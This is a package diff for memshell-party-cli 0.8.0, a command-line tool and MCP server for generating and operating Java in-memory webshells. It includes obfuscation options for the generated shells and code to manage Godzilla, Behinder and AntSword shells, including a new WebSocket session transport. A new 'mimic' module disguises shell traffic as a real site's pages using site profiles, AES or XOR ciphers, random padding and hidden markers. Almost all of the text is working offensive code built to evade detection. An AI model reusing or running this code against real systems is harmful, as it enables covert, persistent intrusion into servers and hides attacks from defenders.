memshell-party-cli 0.7.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +41 -11
- package/README.md +22 -2
- package/dist/cli.js +729 -290
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +81 -11
- package/dist/index.js +1006 -210
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +521 -494
package/dist/index.js
CHANGED
|
@@ -15,6 +15,7 @@ var MemPartyClient = class {
|
|
|
15
15
|
baseUrl;
|
|
16
16
|
fetchImpl;
|
|
17
17
|
timeoutMs;
|
|
18
|
+
generationApiVersion;
|
|
18
19
|
constructor(options) {
|
|
19
20
|
this.baseUrl = options.baseUrl.replace(/\/+$/, "");
|
|
20
21
|
this.fetchImpl = options.fetch ?? globalThis.fetch;
|
|
@@ -26,8 +27,14 @@ var MemPartyClient = class {
|
|
|
26
27
|
}
|
|
27
28
|
}
|
|
28
29
|
// ---------- config ----------
|
|
29
|
-
getServers() {
|
|
30
|
-
|
|
30
|
+
async getServers() {
|
|
31
|
+
const config = await this.getConfig();
|
|
32
|
+
return Object.fromEntries(
|
|
33
|
+
Object.entries(config).map(([server, tools]) => [
|
|
34
|
+
server,
|
|
35
|
+
[...new Set(Object.values(tools).flat())]
|
|
36
|
+
])
|
|
37
|
+
);
|
|
31
38
|
}
|
|
32
39
|
getConfig() {
|
|
33
40
|
return this.request("GET", "/api/config");
|
|
@@ -35,28 +42,68 @@ var MemPartyClient = class {
|
|
|
35
42
|
getPackerTree() {
|
|
36
43
|
return this.request("GET", "/api/config/packers/tree");
|
|
37
44
|
}
|
|
38
|
-
getPackers() {
|
|
39
|
-
|
|
45
|
+
async getPackers() {
|
|
46
|
+
try {
|
|
47
|
+
return await this.request("GET", "/api/config/packers");
|
|
48
|
+
} catch (err) {
|
|
49
|
+
if (!(err instanceof ApiError) || err.status !== 404) throw err;
|
|
50
|
+
return (await this.getPackerTree()).map((packer) => packer.name);
|
|
51
|
+
}
|
|
40
52
|
}
|
|
41
|
-
getCommandConfigs() {
|
|
53
|
+
async getCommandConfigs() {
|
|
54
|
+
const configs = await this.getShellToolConfigs();
|
|
55
|
+
const command = configs.find((config) => config.tool === "Command");
|
|
56
|
+
if (command) {
|
|
57
|
+
return {
|
|
58
|
+
encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
|
|
59
|
+
implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
|
|
60
|
+
};
|
|
61
|
+
}
|
|
42
62
|
return this.request("GET", "/api/config/command/configs");
|
|
43
63
|
}
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
64
|
+
async getShellToolConfigs() {
|
|
65
|
+
try {
|
|
66
|
+
return await this.request("GET", "/api/config/shelltool/configs");
|
|
67
|
+
} catch (err) {
|
|
68
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
69
|
+
throw err;
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
getObfuscationOptions() {
|
|
73
|
+
return this.request("GET", "/api/config/obfuscation/options");
|
|
74
|
+
}
|
|
75
|
+
async getProbeResponseServers() {
|
|
76
|
+
try {
|
|
77
|
+
return await this.request("GET", "/api/config/probe/response/servers");
|
|
78
|
+
} catch (err) {
|
|
79
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
80
|
+
throw err;
|
|
81
|
+
}
|
|
51
82
|
}
|
|
52
83
|
getVersion() {
|
|
53
84
|
return this.request("GET", "/api/version");
|
|
54
85
|
}
|
|
55
86
|
// ---------- generation ----------
|
|
56
|
-
generateMemShell(req) {
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
87
|
+
async generateMemShell(req) {
|
|
88
|
+
const apiVersion = await this.getGenerationApiVersion();
|
|
89
|
+
try {
|
|
90
|
+
return await this.request("POST", "/api/memshell/generate", {
|
|
91
|
+
json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
|
|
92
|
+
});
|
|
93
|
+
} catch (err) {
|
|
94
|
+
if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
|
|
95
|
+
throw new ApiError(
|
|
96
|
+
`${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
|
|
97
|
+
err.status,
|
|
98
|
+
err.url
|
|
99
|
+
);
|
|
100
|
+
}
|
|
101
|
+
throw err;
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
getGenerationApiVersion() {
|
|
105
|
+
this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
|
|
106
|
+
return this.generationApiVersion;
|
|
60
107
|
}
|
|
61
108
|
generateProbe(req) {
|
|
62
109
|
return this.request("POST", "/api/probe/generate", {
|
|
@@ -70,6 +117,16 @@ var MemPartyClient = class {
|
|
|
70
117
|
raw: true
|
|
71
118
|
});
|
|
72
119
|
}
|
|
120
|
+
decodeBytecode(classBase64) {
|
|
121
|
+
return this.request("POST", "/api/bytecode/decode", {
|
|
122
|
+
text: classBase64
|
|
123
|
+
});
|
|
124
|
+
}
|
|
125
|
+
transformBytecode(req) {
|
|
126
|
+
return this.request("POST", "/api/bytecode/transform", {
|
|
127
|
+
json: req
|
|
128
|
+
});
|
|
129
|
+
}
|
|
73
130
|
// ---------- transport ----------
|
|
74
131
|
async request(method, path, opts = {}) {
|
|
75
132
|
const url = `${this.baseUrl}${path}`;
|
|
@@ -123,6 +180,26 @@ var MemPartyClient = class {
|
|
|
123
180
|
return JSON.parse(rawText);
|
|
124
181
|
}
|
|
125
182
|
};
|
|
183
|
+
function toLegacyMemShellRequest(req) {
|
|
184
|
+
const { pass, key, paramName, template, ...common } = req.shellToolConfig;
|
|
185
|
+
const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
|
|
186
|
+
return {
|
|
187
|
+
...req,
|
|
188
|
+
shellConfig: {
|
|
189
|
+
...shellConfig,
|
|
190
|
+
probe: shellConfig.probe ? true : void 0
|
|
191
|
+
},
|
|
192
|
+
shellToolConfig: {
|
|
193
|
+
...common,
|
|
194
|
+
godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
|
|
195
|
+
godzillaKey: key,
|
|
196
|
+
commandParamName: paramName,
|
|
197
|
+
commandTemplate: template,
|
|
198
|
+
behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
|
|
199
|
+
antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
|
|
200
|
+
}
|
|
201
|
+
};
|
|
202
|
+
}
|
|
126
203
|
|
|
127
204
|
// src/core/request-builder.ts
|
|
128
205
|
import { randomInt } from "crypto";
|
|
@@ -134,7 +211,8 @@ var JDK_VERSIONS = {
|
|
|
134
211
|
java9: 53,
|
|
135
212
|
java11: 55,
|
|
136
213
|
java17: 61,
|
|
137
|
-
java21: 65
|
|
214
|
+
java21: 65,
|
|
215
|
+
java25: 69
|
|
138
216
|
};
|
|
139
217
|
function resolveJreVersion(input) {
|
|
140
218
|
if (input === void 0 || input === "") return void 0;
|
|
@@ -181,16 +259,16 @@ function buildMemShellRequest(opts) {
|
|
|
181
259
|
byPassJavaModule: opts.byPassJavaModule,
|
|
182
260
|
shrink: opts.shrink,
|
|
183
261
|
lambdaSuffix: opts.lambdaSuffix,
|
|
184
|
-
probe: opts.probe
|
|
262
|
+
probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
|
|
263
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
|
|
264
|
+
obfuscationScope: opts.obfuscationScope
|
|
185
265
|
},
|
|
186
266
|
shellToolConfig: {
|
|
187
267
|
shellClassName: opts.shellClassName,
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
behinderPass: opts.behinderPass,
|
|
193
|
-
antSwordPass: opts.antSwordPass,
|
|
268
|
+
pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
|
|
269
|
+
key: opts.godzillaKey,
|
|
270
|
+
paramName: opts.commandParamName,
|
|
271
|
+
template: opts.commandTemplate,
|
|
194
272
|
headerName: opts.headerName,
|
|
195
273
|
headerValue: opts.headerValue,
|
|
196
274
|
shellClassBase64: opts.shellClassBase64,
|
|
@@ -216,7 +294,8 @@ function buildProbeRequest(opts) {
|
|
|
216
294
|
byPassJavaModule: opts.byPassJavaModule,
|
|
217
295
|
shrink: opts.shrink,
|
|
218
296
|
staticInitialize: opts.staticInitialize,
|
|
219
|
-
lambdaSuffix: opts.lambdaSuffix
|
|
297
|
+
lambdaSuffix: opts.lambdaSuffix,
|
|
298
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
|
|
220
299
|
},
|
|
221
300
|
probeContentConfig: {
|
|
222
301
|
host: opts.host,
|
|
@@ -224,7 +303,8 @@ function buildProbeRequest(opts) {
|
|
|
224
303
|
sleepServer: opts.sleepServer,
|
|
225
304
|
server: opts.server,
|
|
226
305
|
reqParamName: opts.reqParamName,
|
|
227
|
-
commandTemplate: opts.commandTemplate
|
|
306
|
+
commandTemplate: opts.commandTemplate,
|
|
307
|
+
respHeaderName: opts.respHeaderName
|
|
228
308
|
},
|
|
229
309
|
packer: opts.packer
|
|
230
310
|
};
|
|
@@ -376,7 +456,7 @@ function formatOp(e) {
|
|
|
376
456
|
// src/mcp/server.ts
|
|
377
457
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
378
458
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
379
|
-
import { writeFileSync as
|
|
459
|
+
import { writeFileSync as writeFileSync4 } from "fs";
|
|
380
460
|
import { z } from "zod";
|
|
381
461
|
|
|
382
462
|
// src/connect/assets.ts
|
|
@@ -667,6 +747,20 @@ function postRaw(url, body, options = {}) {
|
|
|
667
747
|
return new Promise((resolve2, reject) => {
|
|
668
748
|
const started = Date.now();
|
|
669
749
|
const transport = isHttps ? https : http;
|
|
750
|
+
const onResponse = (res) => {
|
|
751
|
+
const chunks = [];
|
|
752
|
+
res.on("data", (chunk) => chunks.push(chunk));
|
|
753
|
+
res.on(
|
|
754
|
+
"end",
|
|
755
|
+
() => resolve2({
|
|
756
|
+
status: res.statusCode ?? 0,
|
|
757
|
+
headers: res.headers,
|
|
758
|
+
body: Buffer.concat(chunks),
|
|
759
|
+
durationMs: Date.now() - started
|
|
760
|
+
})
|
|
761
|
+
);
|
|
762
|
+
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
763
|
+
};
|
|
670
764
|
const req = transport.request(
|
|
671
765
|
{
|
|
672
766
|
method: "POST",
|
|
@@ -684,21 +778,9 @@ function postRaw(url, body, options = {}) {
|
|
|
684
778
|
timeout: timeoutMs,
|
|
685
779
|
...isHttps && insecure ? { rejectUnauthorized: false } : {}
|
|
686
780
|
},
|
|
687
|
-
|
|
688
|
-
const chunks = [];
|
|
689
|
-
res.on("data", (chunk) => chunks.push(chunk));
|
|
690
|
-
res.on(
|
|
691
|
-
"end",
|
|
692
|
-
() => resolve2({
|
|
693
|
-
status: res.statusCode ?? 0,
|
|
694
|
-
headers: res.headers,
|
|
695
|
-
body: Buffer.concat(chunks),
|
|
696
|
-
durationMs: Date.now() - started
|
|
697
|
-
})
|
|
698
|
-
);
|
|
699
|
-
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
700
|
-
}
|
|
781
|
+
onResponse
|
|
701
782
|
);
|
|
783
|
+
req.on("upgrade", onResponse);
|
|
702
784
|
req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
|
|
703
785
|
req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
704
786
|
req.write(body);
|
|
@@ -1124,6 +1206,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
|
|
|
1124
1206
|
|
|
1125
1207
|
// src/connect/godzilla.ts
|
|
1126
1208
|
import iconv from "iconv-lite";
|
|
1209
|
+
|
|
1210
|
+
// src/connect/websocket.ts
|
|
1211
|
+
import WebSocket from "ws";
|
|
1212
|
+
function isWebSocketUrl(url) {
|
|
1213
|
+
return /^wss?:\/\//i.test(url);
|
|
1214
|
+
}
|
|
1215
|
+
function requestWebSocket(url, body, options = {}) {
|
|
1216
|
+
let target;
|
|
1217
|
+
try {
|
|
1218
|
+
target = new URL(url);
|
|
1219
|
+
} catch {
|
|
1220
|
+
return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
|
|
1221
|
+
}
|
|
1222
|
+
if (target.protocol !== "ws:" && target.protocol !== "wss:") {
|
|
1223
|
+
return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
|
|
1224
|
+
}
|
|
1225
|
+
const timeoutMs = options.timeoutMs ?? 3e4;
|
|
1226
|
+
return new Promise((resolve2, reject) => {
|
|
1227
|
+
const socket = new WebSocket(target, {
|
|
1228
|
+
headers: buildHeaders({}, options),
|
|
1229
|
+
handshakeTimeout: timeoutMs,
|
|
1230
|
+
rejectUnauthorized: !options.insecure,
|
|
1231
|
+
perMessageDeflate: false,
|
|
1232
|
+
maxPayload: 256 * 1024 * 1024
|
|
1233
|
+
});
|
|
1234
|
+
let timer;
|
|
1235
|
+
let settled = false;
|
|
1236
|
+
const finish = (error, result) => {
|
|
1237
|
+
if (settled) return;
|
|
1238
|
+
settled = true;
|
|
1239
|
+
if (timer) clearTimeout(timer);
|
|
1240
|
+
timer = void 0;
|
|
1241
|
+
socket.removeAllListeners();
|
|
1242
|
+
if (error) reject(error);
|
|
1243
|
+
else resolve2(result);
|
|
1244
|
+
socket.close();
|
|
1245
|
+
};
|
|
1246
|
+
timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
|
|
1247
|
+
socket.once("open", () => socket.send(body));
|
|
1248
|
+
socket.on("message", (data, isBinary) => {
|
|
1249
|
+
finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
|
|
1250
|
+
});
|
|
1251
|
+
socket.once("close", () => finish(new Error("WebSocket closed without a response")));
|
|
1252
|
+
socket.once("error", (error) => finish(error));
|
|
1253
|
+
socket.once("unexpected-response", (_request, response) => {
|
|
1254
|
+
finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
|
|
1255
|
+
});
|
|
1256
|
+
});
|
|
1257
|
+
}
|
|
1258
|
+
|
|
1259
|
+
// src/connect/godzilla.ts
|
|
1127
1260
|
function serializeParams(params) {
|
|
1128
1261
|
const parts = [];
|
|
1129
1262
|
for (const [key, value] of params) {
|
|
@@ -1170,7 +1303,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1170
1303
|
const left = wrapper.slice(0, 16);
|
|
1171
1304
|
const right = wrapper.slice(16);
|
|
1172
1305
|
const baseHeaders = buildHeaders(
|
|
1173
|
-
{
|
|
1306
|
+
{
|
|
1307
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
1308
|
+
...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
|
|
1309
|
+
},
|
|
1174
1310
|
options
|
|
1175
1311
|
);
|
|
1176
1312
|
const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
|
|
@@ -1178,14 +1314,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1178
1314
|
timeoutMs: options.timeoutMs,
|
|
1179
1315
|
insecure: options.insecure
|
|
1180
1316
|
});
|
|
1181
|
-
|
|
1182
|
-
|
|
1183
|
-
|
|
1317
|
+
let cookie;
|
|
1318
|
+
if (isWebSocketUrl(url)) {
|
|
1319
|
+
await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
|
|
1320
|
+
} else {
|
|
1321
|
+
const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
1322
|
+
const cookies = extractCookies(initResponse.headers);
|
|
1323
|
+
cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
1324
|
+
}
|
|
1184
1325
|
return {
|
|
1185
1326
|
async callMethod(methodName, extraParams = []) {
|
|
1186
1327
|
const callData = gzip(
|
|
1187
1328
|
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
1188
1329
|
);
|
|
1330
|
+
if (isWebSocketUrl(url)) {
|
|
1331
|
+
const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
|
|
1332
|
+
try {
|
|
1333
|
+
return gunzipLenient(aesEcbDecrypt(response, xc));
|
|
1334
|
+
} catch {
|
|
1335
|
+
throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
|
|
1336
|
+
}
|
|
1337
|
+
}
|
|
1189
1338
|
const res = await post(callData, cookie);
|
|
1190
1339
|
const text = res.body.toString("latin1");
|
|
1191
1340
|
const leftIdx = text.indexOf(left);
|
|
@@ -1647,9 +1796,568 @@ async function testSuo5(url, options = {}) {
|
|
|
1647
1796
|
};
|
|
1648
1797
|
}
|
|
1649
1798
|
|
|
1799
|
+
// src/connect/mimic.ts
|
|
1800
|
+
import { randomInt as randomInt3 } from "crypto";
|
|
1801
|
+
|
|
1802
|
+
// src/core/site-profile.ts
|
|
1803
|
+
import { existsSync as existsSync2, mkdirSync as mkdirSync2, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
|
|
1804
|
+
import { homedir as homedir3 } from "os";
|
|
1805
|
+
import { join as join3 } from "path";
|
|
1806
|
+
function inferBodyTemplateContentType(bodyTemplate) {
|
|
1807
|
+
const t = bodyTemplate.trimStart();
|
|
1808
|
+
if (t.startsWith("--")) return "multipart/form-data";
|
|
1809
|
+
if (t.startsWith("{") || t.startsWith("[")) return "application/json";
|
|
1810
|
+
if (t.startsWith("<")) return "text/xml";
|
|
1811
|
+
return null;
|
|
1812
|
+
}
|
|
1813
|
+
function profileTemplates(profile) {
|
|
1814
|
+
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
1815
|
+
return profile.templates;
|
|
1816
|
+
}
|
|
1817
|
+
if (profile.template) {
|
|
1818
|
+
return [
|
|
1819
|
+
{
|
|
1820
|
+
title: profile.title ?? "",
|
|
1821
|
+
template: profile.template,
|
|
1822
|
+
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
1823
|
+
}
|
|
1824
|
+
];
|
|
1825
|
+
}
|
|
1826
|
+
return [];
|
|
1827
|
+
}
|
|
1828
|
+
function profileRequests(profile) {
|
|
1829
|
+
if (!profile.request) return [];
|
|
1830
|
+
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
1831
|
+
}
|
|
1832
|
+
function pickRequestShape(requests) {
|
|
1833
|
+
if (requests.length === 0) return void 0;
|
|
1834
|
+
const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
|
|
1835
|
+
let roll = Math.random() * total;
|
|
1836
|
+
for (const r of requests) {
|
|
1837
|
+
roll -= r.weight ?? 1;
|
|
1838
|
+
if (roll <= 0) return r;
|
|
1839
|
+
}
|
|
1840
|
+
return requests[requests.length - 1];
|
|
1841
|
+
}
|
|
1842
|
+
var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1843
|
+
var PAYLOAD_PLACEHOLDER = "{{payload}}";
|
|
1844
|
+
function profilesDir() {
|
|
1845
|
+
const override = process.env.MEMPARTY_PROFILES;
|
|
1846
|
+
return override ? override : join3(homedir3(), ".memparty", "profiles");
|
|
1847
|
+
}
|
|
1848
|
+
function profilePath(name) {
|
|
1849
|
+
return join3(profilesDir(), `${name}.json`);
|
|
1850
|
+
}
|
|
1851
|
+
function validateProfile(profile) {
|
|
1852
|
+
if (!NAME_RE.test(profile.name)) {
|
|
1853
|
+
throw new Error(
|
|
1854
|
+
`invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1855
|
+
);
|
|
1856
|
+
}
|
|
1857
|
+
if (!profile.site || !/^https?:\/\//.test(profile.site)) {
|
|
1858
|
+
throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
|
|
1859
|
+
}
|
|
1860
|
+
const templates = profileTemplates(profile);
|
|
1861
|
+
if (templates.length === 0) {
|
|
1862
|
+
throw new Error("profile needs at least one template (templates[] or legacy template)");
|
|
1863
|
+
}
|
|
1864
|
+
templates.forEach((t, i) => {
|
|
1865
|
+
if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1866
|
+
throw new Error(
|
|
1867
|
+
`templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
|
|
1868
|
+
);
|
|
1869
|
+
}
|
|
1870
|
+
if (!t.contentType) {
|
|
1871
|
+
throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
|
|
1872
|
+
}
|
|
1873
|
+
});
|
|
1874
|
+
if (!Array.isArray(profile.paths)) {
|
|
1875
|
+
throw new Error("profile.paths must be an array (may be empty)");
|
|
1876
|
+
}
|
|
1877
|
+
for (const [ri, req] of profileRequests(profile).entries()) {
|
|
1878
|
+
if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
|
|
1879
|
+
throw new Error(`request[${ri}].secretField must be a form-field name`);
|
|
1880
|
+
}
|
|
1881
|
+
if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
|
|
1882
|
+
throw new Error(`request[${ri}].secretIn must be body | query | header`);
|
|
1883
|
+
}
|
|
1884
|
+
if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
|
|
1885
|
+
throw new Error(`request[${ri}].bodyStyle must be form | json`);
|
|
1886
|
+
}
|
|
1887
|
+
if (req.bodyTemplate !== void 0) {
|
|
1888
|
+
if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
|
|
1889
|
+
throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
|
|
1890
|
+
}
|
|
1891
|
+
if (req.secretIn !== void 0 && req.secretIn !== "body") {
|
|
1892
|
+
throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
|
|
1893
|
+
}
|
|
1894
|
+
}
|
|
1895
|
+
if (req.headers !== void 0) {
|
|
1896
|
+
for (const [k, v] of Object.entries(req.headers)) {
|
|
1897
|
+
if (typeof v !== "string" || !k) {
|
|
1898
|
+
throw new Error(`request[${ri}].headers must be a string map`);
|
|
1899
|
+
}
|
|
1900
|
+
}
|
|
1901
|
+
}
|
|
1902
|
+
for (const [i, f] of (req.fields ?? []).entries()) {
|
|
1903
|
+
if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
|
|
1904
|
+
throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
|
|
1905
|
+
}
|
|
1906
|
+
if (f.name === req.secretField) {
|
|
1907
|
+
throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
|
|
1908
|
+
}
|
|
1909
|
+
}
|
|
1910
|
+
}
|
|
1911
|
+
if (profile.cipher !== void 0) {
|
|
1912
|
+
const c = profile.cipher;
|
|
1913
|
+
if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
|
|
1914
|
+
throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
|
|
1915
|
+
}
|
|
1916
|
+
if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
|
|
1917
|
+
throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
|
|
1918
|
+
}
|
|
1919
|
+
if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
|
|
1920
|
+
throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
|
|
1921
|
+
}
|
|
1922
|
+
if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
|
|
1923
|
+
throw new Error("cipher.padTail must be a boolean");
|
|
1924
|
+
}
|
|
1925
|
+
}
|
|
1926
|
+
}
|
|
1927
|
+
function loadProfile(name) {
|
|
1928
|
+
const path = profilePath(name);
|
|
1929
|
+
if (!existsSync2(path)) {
|
|
1930
|
+
throw new Error(
|
|
1931
|
+
`unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
|
|
1932
|
+
);
|
|
1933
|
+
}
|
|
1934
|
+
const profile = JSON.parse(readFileSync3(path, "utf8"));
|
|
1935
|
+
validateProfile(profile);
|
|
1936
|
+
return profile;
|
|
1937
|
+
}
|
|
1938
|
+
function listProfiles() {
|
|
1939
|
+
const dir = profilesDir();
|
|
1940
|
+
if (!existsSync2(dir)) return [];
|
|
1941
|
+
return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
|
|
1942
|
+
}
|
|
1943
|
+
|
|
1944
|
+
// src/connect/mimic-codecs.ts
|
|
1945
|
+
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
1946
|
+
var LEGACY_CIPHER = {
|
|
1947
|
+
algorithm: "aes-ecb",
|
|
1948
|
+
encoding: "base64",
|
|
1949
|
+
padTail: false,
|
|
1950
|
+
marker: "js-var"
|
|
1951
|
+
};
|
|
1952
|
+
function resolveCipher(partial) {
|
|
1953
|
+
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
1954
|
+
}
|
|
1955
|
+
function xorCrypt(data, key) {
|
|
1956
|
+
const out = Buffer.alloc(data.length);
|
|
1957
|
+
for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
|
|
1958
|
+
return out;
|
|
1959
|
+
}
|
|
1960
|
+
function crypt(data, aesKey, enc, algorithm) {
|
|
1961
|
+
switch (algorithm) {
|
|
1962
|
+
case "aes-ecb":
|
|
1963
|
+
return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
|
|
1964
|
+
case "aes-cbc": {
|
|
1965
|
+
const key = Buffer.from(aesKey, "utf8");
|
|
1966
|
+
if (enc) {
|
|
1967
|
+
const iv = randomBytes3(16);
|
|
1968
|
+
const c = createCipheriv2("aes-128-cbc", key, iv);
|
|
1969
|
+
return Buffer.concat([iv, c.update(data), c.final()]);
|
|
1970
|
+
}
|
|
1971
|
+
const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
|
|
1972
|
+
return Buffer.concat([d.update(data.subarray(16)), d.final()]);
|
|
1973
|
+
}
|
|
1974
|
+
case "xor":
|
|
1975
|
+
return xorCrypt(data, Buffer.from(aesKey, "utf8"));
|
|
1976
|
+
}
|
|
1977
|
+
}
|
|
1978
|
+
function encodeBytes(data, encoding) {
|
|
1979
|
+
switch (encoding) {
|
|
1980
|
+
case "base64":
|
|
1981
|
+
return data.toString("base64");
|
|
1982
|
+
case "base64url":
|
|
1983
|
+
return base64UrlEncode(data);
|
|
1984
|
+
case "hex":
|
|
1985
|
+
return data.toString("hex");
|
|
1986
|
+
}
|
|
1987
|
+
}
|
|
1988
|
+
function decodeString(text, encoding) {
|
|
1989
|
+
switch (encoding) {
|
|
1990
|
+
case "base64":
|
|
1991
|
+
return Buffer.from(text, "base64");
|
|
1992
|
+
case "base64url":
|
|
1993
|
+
return base64UrlDecode(text);
|
|
1994
|
+
case "hex":
|
|
1995
|
+
return Buffer.from(text, "hex");
|
|
1996
|
+
}
|
|
1997
|
+
}
|
|
1998
|
+
function padTailLength(aesKey) {
|
|
1999
|
+
return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
|
|
2000
|
+
}
|
|
2001
|
+
var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
|
2002
|
+
function appendPad(text, aesKey) {
|
|
2003
|
+
const n = padTailLength(aesKey);
|
|
2004
|
+
if (n === 0) return text;
|
|
2005
|
+
const raw = randomBytes3(n);
|
|
2006
|
+
let tail = "";
|
|
2007
|
+
for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
|
|
2008
|
+
return text + tail;
|
|
2009
|
+
}
|
|
2010
|
+
function stripPad(text, aesKey) {
|
|
2011
|
+
const n = padTailLength(aesKey);
|
|
2012
|
+
return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
|
|
2013
|
+
}
|
|
2014
|
+
function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
2015
|
+
let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
|
|
2016
|
+
if (cipher.padTail) out = appendPad(out, aesKey);
|
|
2017
|
+
return out;
|
|
2018
|
+
}
|
|
2019
|
+
function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
2020
|
+
let text = value;
|
|
2021
|
+
if (cipher.padTail) text = stripPad(text, aesKey);
|
|
2022
|
+
return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
|
|
2023
|
+
}
|
|
2024
|
+
